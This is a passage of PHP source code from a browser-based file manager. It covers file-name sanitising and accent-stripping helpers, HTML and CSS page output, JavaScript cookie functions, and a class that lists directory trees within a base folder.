$str); $str = str_replace('/', '_', $str); $str = str_replace(':', '_', $str); $str = str_replace('*', '_', $str); $str = str_replace('?', '_', $str); $str = str_replace('"', '_', $str); $str = str_replace('<', '_', $str); $str = str_replace('>', '_', $str); $str = str_replace('|', '_', $str); if ($allowSpaces){ // Apenas caracteres válidos $str = str_strip($str,"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789.()[]& "); $str = replace_double(' ', $str); $str = trim($str); } else { $str = str_replace(' ', '_', $str); // Apenas caracteres válidos $str = str_strip($str,"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789.()[]&"); } $str = replace_double('_', $str); $str = trim($str,'_'); return $str; } function fix_filename_download($str){ // no download podemos ter acentos $str = trim($str); // Substitui caracteres reservados $str = str_replace('\\', ' ', $str); $str = str_replace('/', ' ', $str); $str = str_replace(':', ' ', $str); $str = str_replace('*', ' ', $str); $str = str_replace('?', ' ', $str); $str = str_replace('"', ' ', $str); $str = str_replace('<', ' ', $str); $str = str_replace('>', ' ', $str); $str = str_replace('|', ' ', $str); // Apenas caracteres válidos $str = str_strip($str,"ÁÀÃÂÉÊÈËÍÓÔÕÒÚÜÇÑáàãâéêèëíóõôòúüçñABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-0123456789.()[] "); $str = replace_double(' ', $str); $str = trim($str); return $str; } function add_http($str){ if (mb_strlen($str) > 0 && mb_strpos($str, 'http://') === false && mb_strpos($str, 'https://') === false) return 'http://'.$str; else return $str; } function remove_sinais($str){ $sinais = "./\\-,:;'`~?!\"<>{}[]@#\$%^&*()_+=|"; $str = str_replace(str_split($sinais),"",$str); return replace_double(" ",$str); } function remove_acentos($string) { if ( !preg_match('/[\x80-\xff]/', $string) ) return $string; $chars = array( // Decompositions for Latin-1 Supplement chr(195).chr(128) => 'A', chr(195).chr(129) => 'A', chr(195).chr(130) => 'A', chr(195).chr(131) => 'A', chr(195).chr(132) => 'A', chr(195).chr(133) => 'A', chr(195).chr(135) => 'C', chr(195).chr(136) => 'E', chr(195).chr(137) => 'E', chr(195).chr(138) => 'E', chr(195).chr(139) => 'E', chr(195).chr(140) => 'I', chr(195).chr(141) => 'I', chr(195).chr(142) => 'I', chr(195).chr(143) => 'I', chr(195).chr(145) => 'N', chr(195).chr(146) => 'O', chr(195).chr(147) => 'O', chr(195).chr(148) => 'O', chr(195).chr(149) => 'O', chr(195).chr(150) => 'O', chr(195).chr(153) => 'U', chr(195).chr(154) => 'U', chr(195).chr(155) => 'U', chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y', chr(195).chr(159) => 's', chr(195).chr(160) => 'a', chr(195).chr(161) => 'a', chr(195).chr(162) => 'a', chr(195).chr(163) => 'a', chr(195).chr(164) => 'a', chr(195).chr(165) => 'a', chr(195).chr(167) => 'c', chr(195).chr(168) => 'e', chr(195).chr(169) => 'e', chr(195).chr(170) => 'e', chr(195).chr(171) => 'e', chr(195).chr(172) => 'i', chr(195).chr(173) => 'i', chr(195).chr(174) => 'i', chr(195).chr(175) => 'i', chr(195).chr(177) => 'n', chr(195).chr(178) => 'o', chr(195).chr(179) => 'o', chr(195).chr(180) => 'o', chr(195).chr(181) => 'o', chr(195).chr(182) => 'o', chr(195).chr(182) => 'o', chr(195).chr(185) => 'u', chr(195).chr(186) => 'u', chr(195).chr(187) => 'u', chr(195).chr(188) => 'u', chr(195).chr(189) => 'y', chr(195).chr(191) => 'y', // Decompositions for Latin Extended-A chr(196).chr(128) => 'A', chr(196).chr(129) => 'a', chr(196).chr(130) => 'A', chr(196).chr(131) => 'a', chr(196).chr(132) => 'A', chr(196).chr(133) => 'a', chr(196).chr(134) => 'C', chr(196).chr(135) => 'c', chr(196).chr(136) => 'C', chr(196).chr(137) => 'c', chr(196).chr(138) => 'C', chr(196).chr(139) => 'c', chr(196).chr(140) => 'C', chr(196).chr(141) => 'c', chr(196).chr(142) => 'D', chr(196).chr(143) => 'd', chr(196).chr(144) => 'D', chr(196).chr(145) => 'd', chr(196).chr(146) => 'E', chr(196).chr(147) => 'e', chr(196).chr(148) => 'E', chr(196).chr(149) => 'e', chr(196).chr(150) => 'E', chr(196).chr(151) => 'e', chr(196).chr(152) => 'E', chr(196).chr(153) => 'e', chr(196).chr(154) => 'E', chr(196).chr(155) => 'e', chr(196).chr(156) => 'G', chr(196).chr(157) => 'g', chr(196).chr(158) => 'G', chr(196).chr(159) => 'g', chr(196).chr(160) => 'G', chr(196).chr(161) => 'g', chr(196).chr(162) => 'G', chr(196).chr(163) => 'g', chr(196).chr(164) => 'H', chr(196).chr(165) => 'h', chr(196).chr(166) => 'H', chr(196).chr(167) => 'h', chr(196).chr(168) => 'I', chr(196).chr(169) => 'i', chr(196).chr(170) => 'I', chr(196).chr(171) => 'i', chr(196).chr(172) => 'I', chr(196).chr(173) => 'i', chr(196).chr(174) => 'I', chr(196).chr(175) => 'i', chr(196).chr(176) => 'I', chr(196).chr(177) => 'i', chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij', chr(196).chr(180) => 'J', chr(196).chr(181) => 'j', chr(196).chr(182) => 'K', chr(196).chr(183) => 'k', chr(196).chr(184) => 'k', chr(196).chr(185) => 'L', chr(196).chr(186) => 'l', chr(196).chr(187) => 'L', chr(196).chr(188) => 'l', chr(196).chr(189) => 'L', chr(196).chr(190) => 'l', chr(196).chr(191) => 'L', chr(197).chr(128) => 'l', chr(197).chr(129) => 'L', chr(197).chr(130) => 'l', chr(197).chr(131) => 'N', chr(197).chr(132) => 'n', chr(197).chr(133) => 'N', chr(197).chr(134) => 'n', chr(197).chr(135) => 'N', chr(197).chr(136) => 'n', chr(197).chr(137) => 'N', chr(197).chr(138) => 'n', chr(197).chr(139) => 'N', chr(197).chr(140) => 'O', chr(197).chr(141) => 'o', chr(197).chr(142) => 'O', chr(197).chr(143) => 'o', chr(197).chr(144) => 'O', chr(197).chr(145) => 'o', chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe', chr(197).chr(148) => 'R',chr(197).chr(149) => 'r', chr(197).chr(150) => 'R',chr(197).chr(151) => 'r', chr(197).chr(152) => 'R',chr(197).chr(153) => 'r', chr(197).chr(154) => 'S',chr(197).chr(155) => 's', chr(197).chr(156) => 'S',chr(197).chr(157) => 's', chr(197).chr(158) => 'S',chr(197).chr(159) => 's', chr(197).chr(160) => 'S', chr(197).chr(161) => 's', chr(197).chr(162) => 'T', chr(197).chr(163) => 't', chr(197).chr(164) => 'T', chr(197).chr(165) => 't', chr(197).chr(166) => 'T', chr(197).chr(167) => 't', chr(197).chr(168) => 'U', chr(197).chr(169) => 'u', chr(197).chr(170) => 'U', chr(197).chr(171) => 'u', chr(197).chr(172) => 'U', chr(197).chr(173) => 'u', chr(197).chr(174) => 'U', chr(197).chr(175) => 'u', chr(197).chr(176) => 'U', chr(197).chr(177) => 'u', chr(197).chr(178) => 'U', chr(197).chr(179) => 'u', chr(197).chr(180) => 'W', chr(197).chr(181) => 'w', chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y', chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z', chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z', chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z', chr(197).chr(190) => 'z', chr(197).chr(191) => 's' ); $string = strtr($string, $chars); return $string; } function retifica_aspas($str){ //return $str; $quotes = array( "\xC2\xAB" => '"', // « (U+00AB) in UTF-8 "\xC2\xBB" => '"', // » (U+00BB) in UTF-8 "\xE2\x80\x98" => "'", // ‘ (U+2018) in UTF-8 "\xE2\x80\x99" => "'", // ’ (U+2019) in UTF-8 "\xE2\x80\x9A" => "'", // ‚ (U+201A) in UTF-8 "\xE2\x80\x9B" => "'", // ‛ (U+201B) in UTF-8 "\xE2\x80\x9C" => '"', // “ (U+201C) in UTF-8 "\xE2\x80\x9D" => '"', // ” (U+201D) in UTF-8 "\xE2\x80\x9E" => '"', // „ (U+201E) in UTF-8 "\xE2\x80\x9F" => '"', // ‟ (U+201F) in UTF-8 "\xE2\x80\xB9" => "'", // ‹ (U+2039) in UTF-8 "\xE2\x80\xBA" => "'", // › (U+203A) in UTF-8 ); return strtr($str, $quotes); // replace Microsoft Word version of single and double quotations marks (“ ” ‘ ’) with regular quotes (' and ") //return iconv('UTF-8', 'ASCII//TRANSLIT', $str); } function html_encode($str){ global $charset; $str = preg_replace(array('/&/', '/</', '/>/', '/"/'), array('&', '<', '>', '"'), $str); // Bypass PHP to allow any charset!! if (version_compare(PHP_VERSION, '5.2.3', '>=')) { $str = htmlentities($str, ENT_QUOTES, $charset, false); } else { $str = htmlentities($str, ENT_QUOTES, $charset); } return $str; } function rep($x,$y){ if ($x) { $aux = ""; for ($a=1;$a<=$x;$a++) $aux .= $y; return $aux; } else return ""; } function str_zero($arg1,$arg2){ if (strstr($arg1,"-") == false){ $aux = intval($arg2) - strlen($arg1); if ($aux) return rep($aux,"0").$arg1; else return $arg1; } else { return "[$arg1]"; } } function replace_double($sub,$str){ $out=str_replace($sub.$sub,$sub,$str); while ( strlen($out) != strlen($str) ){ $str=$out; $out=str_replace($sub.$sub,$sub,$str); } return $out; } function remove_special_chars($str){ $str = trim($str); $str = strtr($str,array("¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?", "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________")); $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str)))); return $str; } function array_csort() { $args = func_get_args(); $marray = array_shift($args); $msortline = "return(array_multisort("; foreach ($args as $arg) { $i++; if (is_string($arg)) { foreach ($marray as $row) { $sortarr[$i][] = $row[$arg]; } } else { $sortarr[$i] = $arg; } $msortline .= "\$sortarr[".$i."],"; } $msortline .= "\$marray));"; eval($msortline); return $marray; } function show_perms($P) { $sP = "<b>"; if($P & 0x1000) $sP .= 'p'; // FIFO pipe elseif($P & 0x2000) $sP .= 'c'; // Character special elseif($P & 0x4000) $sP .= 'd'; // Directory elseif($P & 0x6000) $sP .= 'b'; // Block special elseif($P & 0x8000) $sP .= '−'; // Regular elseif($P & 0xA000) $sP .= 'l'; // Symbolic Link elseif($P & 0xC000) $sP .= 's'; // Socket else $sP .= 'u'; // UNKNOWN $sP .= "</b>"; // owner - group - others $sP .= (($P & 0x0100) ? 'r' : '−') . (($P & 0x0080) ? 'w' : '−') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '−')); $sP .= (($P & 0x0020) ? 'r' : '−') . (($P & 0x0010) ? 'w' : '−') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '−')); $sP .= (($P & 0x0004) ? 'r' : '−') . (($P & 0x0002) ? 'w' : '−') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '−')); return $sP; } function format_size($arg) { if ($arg>0){ $j = 0; $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb"); while ($arg >= pow(1024,$j)) ++$j; return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1]; } else return "0 bytes"; } function check_limit($new_filesize=0) { global $fm_current_root; global $quota_mb; if($quota_mb){ $total = intval(phpfm_get_total_size($fm_current_root)); if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true; } return false; } function uppercase($str){ global $charset; return mb_strtoupper($str, $charset); } function lowercase($str){ global $charset; return mb_strtolower($str, $charset); } function word_count($theString) { $theString = html_decode(strip_tags($theString)); $char_count = mb_strlen($theString); $fullStr = $theString." "; $initial_whitespace_rExp = "^[[:alnum:]]$"; $left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr); $non_alphanumerics_rExp = "^[[:alnum:]]$"; $cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr); $splitString = explode(" ",$cleanedStr); $word_count = count($splitString)-1; if(mb_strlen($fullStr)<2)$word_count=0; return $word_count; } function str_strip($str,$valid_chars){ $out = ""; for ($i=0;$i<mb_strlen($str);$i++){ $mb_char = mb_substr($str,$i,1); if (mb_strpos($valid_chars,$mb_char) !== false){ $out .= $mb_char; } } return $out; } function mb_str_ireplace($co, $naCo, $wCzym) { $wCzymM = mb_strtolower($wCzym); $coM = mb_strtolower($co); $offset = 0; while(!is_bool($poz = mb_strpos($wCzymM, $coM, $offset))) { $offset = $poz + mb_strlen($naCo); $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co)); $wCzymM = mb_strtolower($wCzym); } return $wCzym; } // +-------------------------------------------------- // | Interface // +-------------------------------------------------- function html_header($header=""){ global $charset,$fm_color,$fm_path_info,$cookie_cache_time; echo " <!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"> <html xmlns=\"//www.w3.org/1999/xhtml\"> <head> <meta http-equiv=\"content-type\" content=\"text/html; charset=".$charset."\" /> <link rel=\"shortcut icon\" href=\"".$fm_path_info['basename']."?action=99&filename=favicon.ico\" type=\"image/x-icon\"> <title>".et('FileMan')."</title> <style> .fm-title { margin: 0; font-weight: 500; line-height: 1.2; font-size: 1.5rem; } .float-left { float: left } .float-right { float: right } .noselect { -webkit-touch-callout: none; /* iOS Safari */ -webkit-user-select: none; /* Safari */ -khtml-user-select: none; /* Konqueror HTML */ -moz-user-select: none; /* Firefox */ -ms-user-select: none; /* Internet Explorer/Edge */ user-select: none; /* Non-prefixed version */ } .btn { display: inline-block; text-align: center; white-space: nowrap; vertical-align: middle; user-select: none; padding: 0 .4rem .05rem .2rem; line-height: 1.6; cursor: pointer; } .noIcon { padding: 0 .4rem .05rem .4rem; } i.bdc-link { font-style: normal; padding: 0 1px; } .fm-disk-info span { display: inline-block; margin: 2px 0; font-weight: 700; } .table { width: 100%; margin-bottom: 1rem; border-collapse: collapse; } .table .thead-light th { color: #495057; background-color: #e9ecef; border-color: #dee2e6; vertical-align: bottom; border-bottom: 2px solid #dee2e6; border-bottom-width: 2px; } .table td, .table th { padding: .3rem .4rem; border: 1px solid #dee2e6; } .table th { text-align: left; } .table td.lg { width: 400px; } .table td.sm { width: 10px; padding: .3rem .6rem; white-space: nowrap; } table.entry_name_table { width: 100%; } table.entry_name_table td { border: none; white-space: nowrap; padding: 0; } table.entry_name_table td.entry_name { padding-right: 60px; padding-top: 3px; } table.entry_name_table td .fa { margin-top: 0; margin-left: -6px; margin-right: 3px; } .form-signin { max-width: 350px; padding: 20px 20px 25px 20px; /*margin: 0 auto;*/ background-color: #fff; border: 1px solid #ccc; } .form-signin-heading { margin-top: 0; margin-bottom: 18px; white-space: nowrap; } .form-control { display: block; width: 100%; margin-top: 1px; padding: 4px 10px; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; } .form-signin input[type=\"password\"] { max-width: calc(100% - 80px); float: left; } .alert { position: relative; padding: 5px 10px; border: 1px solid transparent; clear: both; } .alert-danger { color: #721c24; background-color: #f8d7da; border-color: #f5c6cb; } .mt-3 { margin-top: 1rem!important; } .mt-5 { margin-top: 3rem!important; } .icon_loading { background:url('".$fm_path_info['basename']."?action=99&filename=throbber.gif') 0 0 no-repeat; width: 16px; height: 16px; line-height: 16px; display: inline-block; vertical-align: text-bottom; } .fa { background:url('".$fm_path_info['basename']."?action=99&filename=file_sprite.png') 0 0 no-repeat; width: 18px; height: 18px; line-height: 18px; display: inline-block; vertical-align: text-bottom; margin-top: 3px; } .fa.fa-code { background-position: -126px 0; } .fa.fa-code-o { background-position: -143px 0; } .fa.fa-php { background-position: -108px -18px; } .fa.fa-picture { background-position: -125px -18px; } .fa.fa-file-text-o { background-position: -254px -18px; } .fa-file-archive-o { background-position: -180px 0; } .fa.fa-html { background-position: -434px -18px; } .fa.fa-file-excel-o { background-position: -361px 0; } .fa.fa-music { background-position: -108px 0; } .fa.fa-video { background-position: -90px 0; } .fa.fa-file-aspx { background-position: -236px 0; } .fa.fa-database { background-position: -272px 0; } .fa.fa-file-word { background-position: -361px -18px; } .fa.fa-file-powerpoint { background-position: -144px -18px; } .fa.fa-font { background-position: -415px 0; } .fa.file-pdf { background-position: -18px 0; } .fa.file-image-o { background-position: -398px 0; } .fa.fa-gear { background-position: -434px 0; } .fa.fa-download { background-position: -162px -18px; } .fa.fa-settings { background-position: -398px -18px; } .fa.fa-refresh { background-position: -236px -18px; } .fa.fa-lunix { background-position: -290px -18px; } .fa.fa-folder { background-position: -506px -18px; } .fa.fa-add-file { background-position: -54px 0; } .fa.fa-upload { background-position: -453px 0; } .fa.fa-file-go { background-position: -470px 0; } .fa.fa-link { background-position: -488px -18px; } .fa.fa-find { background-position: -380px 0; } .fa.fa-file-light { background-position: -470px -18px; } .fa.fa-file-remove { background-position: -290px 0; } .fa.fa-file-config { background-position: -308px 0; } .fa.fa-resolve { background-position: -272px 0; } .fa.fa-perms { background-position: -344px 0; } .fa.fa-copy { background-position: -198px 0; } .fa.fa-copy-o { background-position: -198px -18px; } .fa.fa-edit { background-position: -326px 0; } .fa.fa-rename { background-position: -454px -18px; } .fa.fa-glob { background-position: -380px -18px; } .fa.fa-vs { background-position: -326px -18px; } .fa.fa-search { background-position: 0 -18px; } </style> <script language=\"Javascript\" type=\"text/javascript\"> <!-- function Is(){ this.appname = navigator.appName; this.appversion = navigator.appVersion; this.platform = navigator.platform; this.useragent = navigator.userAgent.toLowerCase(); this.ie = ( this.appname == 'Microsoft Internet Explorer' ); if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){ this.sisop = 'mac'; } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){ this.sisop = 'windows'; } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){ this.sisop = 'linux'; } } var is = new Is(); function enterSubmit(keypressEvent,submitFunc){ var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which if( kCode == 13) eval(submitFunc); } function getCookieVal(offset) { var endstr = document.cookie.indexOf (';', offset); if (endstr == -1) endstr = document.cookie.length; return decodeURIComponent(document.cookie.substring(offset, endstr)); } function getCookie(name) { var arg = name + '='; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(' ', i) + 1; if (i == 0) break; } return null; } function setCookie(name, value) { var argv = setCookie.arguments; var argc = setCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + '=' + encodeURIComponent(value) + ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) + ((path == null) ? '' : ('; path=' + path)) + ((domain == null) ? '' : ('; domain=' + domain)) + ((secure == true) ? '; secure' : ''); } function delCookie(name) { var exp = new Date(); exp.setTime (exp.getTime() - 1); var cval = getCookie (name); document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString(); } function setCookiePersistent(name, value){ var exp = new Date(); exp.setTime(exp.getTime()+".$cookie_cache_time."); setCookie(name,value,exp); } var frameWidth, frameHeight; function getFrameSize(){ if (self.innerWidth){ frameWidth = self.innerWidth; frameHeight = self.innerHeight; }else if (document.documentElement && document.documentElement.clientWidth){ frameWidth = document.documentElement.clientWidth; frameHeight = document.documentElement.clientHeight; }else if (document.body){ frameWidth = document.body.clientWidth; frameHeight = document.body.clientHeight; }else return false; return true; } getFrameSize(); function str_replace (search, replace, subject, count) { var i = 0, j = 0, temp = '', repl = '', sl = 0, fl = 0, f = [].concat(search), r = [].concat(replace), s = subject, ra = Object.prototype.toString.call(r) === '[object Array]', sa = Object.prototype.toString.call(s) === '[object Array]'; s = [].concat(s); if (count) { this.window[count] = 0; } for (i = 0, sl = s.length; i < sl; i++) { if (s[i] === '') { continue; } for (j = 0, fl = f.length; j < fl; j++) { temp = s[i] + ''; repl = ra ? (r[j] !== undefined ? r[j] : '') : r[0]; s[i] = (temp).split(f[j]).join(repl); if (count && s[i] !== temp) { this.window[count] += (temp.length - s[i].length) / f[j].length; } } } return sa ? s : s[0]; } function rep(str,i){ str = String(str); i = parseInt(i); if (i > 0) { var out = ''; for (var ii=1;ii<=i;ii++) out += str; return out; } else return ''; } //--> </script> <style type=\"text/css\"> html { width: 100%; margin-left: 0 !important; } body { font-family : Arial; font-size: 14px; font-weight : normal; color: #".$fm_color['Text']."; background-color: #".$fm_color['Bg']."; } table { font-family : Arial; font-size: 14px; font-weight : normal; color: #".$fm_color['Text']."; cursor: default; } input { font-family : Arial; font-size: 14px; font-weight : normal; color: #".$fm_color['Text']."; } textarea { font-family : Courier; font-size: 12px; font-weight : normal; color: #".$fm_color['Text']."; } a { font-family : Arial; font-size : 14px; font-weight : bold; text-decoration: none; color: #".$fm_color['Text']."; } a:link { color: #".$fm_color['Text']."; } a:visited { color: #".$fm_color['Text']."; } a:hover { color: #".$fm_color['Link']."; } a:active { color: #".$fm_color['Text']."; } tr.entryUnselected { background-color: #".$fm_color['Entry']."; } tr.entryUnselected:hover { background-color: #".$fm_color['Over']."; } tr.entrySelected { background-color: #".$fm_color['Mark']."; } </style> ".$header." </head> "; } function reloadframe($ref,$frame_number,$plus=""){ global $fm_current_dir,$fm_path_info; echo " <script language=\"Javascript\" type=\"text/javascript\"> <!-- ".$ref.".frame".$frame_number.".location.href='".$fm_path_info['basename']."?frame=".$frame_number."&fm_current_dir=".rawurlencode($fm_current_dir.$plus)."'; //--> </script> "; } function alert($arg){ echo " <script language=\"Javascript\" type=\"text/javascript\"> <!-- alert('$arg'); //--> </script> "; } function get_encoding($text){ define('UTF32_BIG_ENDIAN_BOM' , chr(0x00).chr(0x00).chr(0xFE).chr(0xFF)); define('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF).chr(0xFE).chr(0x00).chr(0x00)); define('UTF16_BIG_ENDIAN_BOM' , chr(0xFE).chr(0xFF)); define('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF).chr(0xFE)); define('UTF8_BOM' , chr(0xEF).chr(0xBB).chr(0xBF)); $first2 = mb_substr($text, 0, 2); $first3 = mb_substr($text, 0, 3); $first4 = mb_substr($text, 0, 4); if ($first3 == UTF8_BOM) return 'UTF-8'; // WITH BOM elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE'; elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE'; elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE'; elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE'; elseif (mb_detect_encoding($text, 'UTF-8', true) == true) return 'UTF-8'; // WITHOUT BOM elseif (mb_detect_encoding($text, 'ISO-8859-1', true) == true) return 'ISO-8859-1'; else return mb_detect_encoding($text); } function utf8_convert($str){ if (extension_loaded('mbstring') && extension_loaded('iconv')) { $str_chatset = get_encoding($str); if ($str_chatset == "UTF-8") return $str; return iconv($str_chatset, "UTF-8//TRANSLIT", $str); } else return utf8_encode($str); } function convert_charset($str,$charset){ $str_chatset = get_encoding($str); if ($str_chatset == $charset) return $str; else return iconv($str_chatset, $charset."//TRANSLIT", $str); } function fs_encode($str){ global $is_windows; if ($is_windows) { if (extension_loaded('mbstring') && extension_loaded('iconv')) { $str = convert_charset($str,'ISO-8859-1'); } } return $str; } class tree_fs { protected $base = null; public function __construct($base) { $this->base = $this->real($base); if(!$this->base) { fb_log('Base directory does not exist'); } } protected function real($path) { if (is_link($path)) $temp = get_absolute_path(fs_encode($path)); else $temp = realpath(fs_encode($path)); if(!$temp) { fb_log('Path does not exist: ' . $path); } if($this->base && strlen($this->base)) { if(strpos($temp, $this->base) !== 0) { fb_log('Path is not inside base ('.$this->base.'): ' . $temp); } } return $temp; } protected function path($id) { global $is_windows; $path = str_replace('/', DIRECTORY_SEPARATOR, $id); $path = $this->real($this->base.DIRECTORY_SEPARATOR.$path); $path = rtrim($path, DIRECTORY_SEPARATOR); if (!$is_windows) { $path = DIRECTORY_SEPARATOR.$path; } $path = replace_double(DIRECTORY_SEPARATOR,$path); //fb_log('path()',$id.' => '.$path); return $path; } protected function id($path) { global $is_windows; $id = $this->real($path); $id = substr($id, strlen($this->base)); $id = str_replace(DIRECTORY_SEPARATOR, '/', $id); $id = '/'.rtrim($id, '/'); $id = replace_double('/',$id); //fb_log('id()',$path.' => '.$id); return $id; } public function lst($id, $with_root=false) { $path = $this->path($id); $lst = scandir(fs_encode($path)); if(!$lst) { fb_log('Could not list path: '.$path); } $res = array(); foreach($lst as $item) { if ($item == '.' || $item == '..' || $item === null) { continue; } $item_path = rtrim($path,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$item; if (is_dir($item_path)) { if (is_link($item_path)) $item .= ' (L)'; $res[] = array('text' => utf8_convert($item), 'children' => true, 'id' => utf8_convert($this->id($item_path)), 'icon' => 'folder'); } elseif (is_link($item_path) && !is_file($item_path)) { // Add   Invisible char to change color to RED using Jquery https://stackoverflow.com/questions/17978720/invisible-characters-ascii // TODO: Find a better way to show RED broken folder links, using jsTree API if (is_link($item_path)) $item .= ' (L*)'; $res[] = array('text' => utf8_convert($item), 'children' => true, 'id' => utf8_convert($this->id($item_path)), 'icon' => 'folder'); } } if($with_root && $this->id($path) == '/') { $res = array(array('text' => utf8_convert($this->base), 'children' => $res, 'id' => '/', 'icon'=>'folder', 'state' => array('opened' => true, 'disabled' => false))); } return $res; } public function data($id) { if(strpos($id, ":")) { $id = array_map(array($this, 'id'), explode(':', $id)); return array('type'=>'multiple', 'content'=> 'Multiple selected: ' . implode(' ', $id)); } $path = $this->path($id); if(is_dir($path)) { return array('type'=>'folder', 'content'=> $id); } fb_log('Not a valid selection: '.$path); } } function frame2(){ global $fm_root,$fm_current_root,$fm_path_info,$setflag,$is_windows,$cookie_cache_time,$fm_current_dir,$auth_pass,$open_basedirs; if(isset($_GET['operation'])) { $tree_fs = new tree_fs($fm_current_root); try { $resul = null; switch($_GET['operation']) { case 'get_node': $node = (strlen($_GET['id']) && $_GET['id'] !== '#') ? $_GET['id'] : '/'; $with_root = true; $resul = $tree_fs->lst($node, $with_root); break; default: fb_log('Unsupported operation: '.$_GET['operation']); break; } header('Content-Type: application/json; charset=utf-8'); echo json_encode($resul); } catch (Exception $e) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Server Error'); header('Status: 500 Server Error'); echo $e->getMessage(); } die(); } html_header(" <script language=\"Javascript\" type=\"text/javascript\"> <!-- function saveFrameSize(){ if (getFrameSize()){ var exp = new Date(); exp.setTime(exp.getTime()+".$cookie_cache_time."); setCookie('leftFrameWidth',frameWidth,exp); } } window.onresize = saveFrameSize; //--> </script>"); echo "<body marginwidth=\"0\" marginheight=\"0\"> <script language=\"Javascript\" type=\"text/javascript\"> <!-- // Disable text selection, binding the onmousedown, but not for some elements, it must work. function disableTextSelection(e){ var type = String(e.target.type); return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1); } function enableTextSelection(){return true} if (is.ie) document.onselectstart=new Function('return false') else { document.body.onmousedown=disableTextSelection document.body.onclick=enableTextSelection } var flag = ".(($setflag)?"true":"false")." function set_flag(arg) { flag = arg; } function go_tree(arg) { if (flag) { parent.frame3.set_dir_dest(arg+'".addslashes(DIRECTORY_SEPARATOR)."'); flag = false; } else { parent.frame3.location.href='".addslashes($fm_path_info['basename'])."?frame=3&fm_current_root=".rawurlencode($fm_current_root)."&fm_current_dir='+encodeURIComponent(arg)+'".rawurlencode(DIRECTORY_SEPARATOR)."'; } } function set_fm_current_root(arg){ document.location.href='".addslashes($fm_path_info['basename'])."?frame=2&fm_current_root='+encodeURIComponent(arg); } function refresh_tree(){ document.location.href='".addslashes($fm_path_info['basename'])."?frame=2&fm_current_root=".rawurlencode($fm_current_root)."'; } function logout(){ document.location.href='".addslashes($fm_path_info['basename'])."?action=1'; } //--> </script> "; echo "<table width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n"; echo "<tr valign=top height=10 bgcolor=\"#DDDDDD\" style=\"border-bottom: 2px solid #eaeaea;\"><td style=\"padding: 6px 6px 1px; 6px;\">"; echo "<form style=\"display:inline-block;\" action=\"".$fm_path_info['basename']."\" method=\"post\" target=\"_parent\">"; $fm_root_opts=array(); if (strlen($fm_root) == 0) { if (count($open_basedirs)>1){ foreach ($open_basedirs as $dir) { $is_sel=(strpos($fm_current_root,$dir) !== false)?"selected":""; $fm_root_opts[] = "<option ".$is_sel." value=\"".$dir."\">".html_encode($dir)."</option>"; } } elseif ($is_windows){ $drives=array(); $aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($x=0;$x<strlen($aux);$x++){ $dir = $aux[$x].":".DIRECTORY_SEPARATOR; if ($handle = @opendir($dir)){ @closedir($handle); $is_sel=(strpos(uppercase($fm_current_root),$dir) !== false)?"selected":""; $fm_root_opts[] = "<option ".$is_sel." value=\"".$dir."\">".html_encode($dir)."</option>"; } } } } if (count($fm_root_opts)>1) echo "<select name=drive onchange=\"set_fm_current_root(this.value)\" style=\"float:left; margin:1px 0 5px 0; margin-right:5px; padding:5px;\">".implode("\n",$fm_root_opts)."</select>"; echo "<button type=\"button\" style=\"margin-bottom: 5px;\" 